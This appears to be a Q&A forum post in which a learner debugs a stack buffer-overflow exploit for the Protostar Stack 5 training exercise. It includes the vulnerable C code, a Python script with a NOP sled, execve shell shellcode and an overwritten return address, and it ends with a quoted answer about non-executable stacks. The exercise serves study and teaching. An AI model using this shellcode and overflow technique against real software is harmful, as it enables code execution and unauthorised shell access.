I tried to learn how buffer overflow works and I did some exercises from exploit-exercises.com. I tried to solve Protostar Stack 5 problem. The code is writen in C. Here is the code:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
The buffer starts at 0xbffff770
and the return is located at 0xbffff7bc
so I have 76 byte space (0xbffff7bc - 0xbffff770 = 0x4c = 76
) to put nop sled and shellcode. The shellcode size is 23 Byte, so I put 53 Byte of nop sled to my stack and I redirect the eip register in the middle of my nop sled which is 0x0xbffff770 + 16
. Here is my script to produce the exploit writen in python:
import struct
eip = struct.pack("I", 0xbffff770 + 16)
nop = "\x90" * 53
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89
\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
print nop + payload + eip
But after i run this exploit on the program, I got Segmentetion Fault
. Can someone explain me why i got this error?
The memory after running the exploit:
0xbffff770: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff780: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff790: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff7a0: 0x90909090 0x50c03190 0x732f2f68 0x622f6868
0xbffff7b0: 0xe3896e69 0xe1895350 0x80cd0bb0 0xbffff780
The ret address is located at 0xbffff7bc
and directed to 0xbffff780
(which is nop sled), and the shellcode start from 0xbffff7a5
until 0xbffff7bc
info register:
eax 0xbffff770 -1073744016
ecx 0xbffff770 -1073744016
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7bc 0xbffff7bc
ebp 0x80cd0bb0 0x80cd0bb0
esi 0x0 0
edi 0x0 0
eip 0x80483da 0x80483da <main+22>
eflags 0x200246 [ PF ZF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
By the way, I tried to put the redirect ret address 5 times so I decreased the nop sled to 33 byte (nop sled(33 byte) + shellcode(23 byte) + ret addr(4 byte * 5)
) and this worked, but why I get segfault at the first exploit. I do not understand why.
LTKills was most probably right saying "This question has been answered in Exploiting buffer overflow leads to segfault", where the answer is:
You can verify this e. g. with
/proc/…/maps
:cat /proc/`pidof a.out`/maps
(with the C program's name instead ofa.out
, if different)You should see something similar to this:
Here the
[stack]
segment is not executable (nox
there).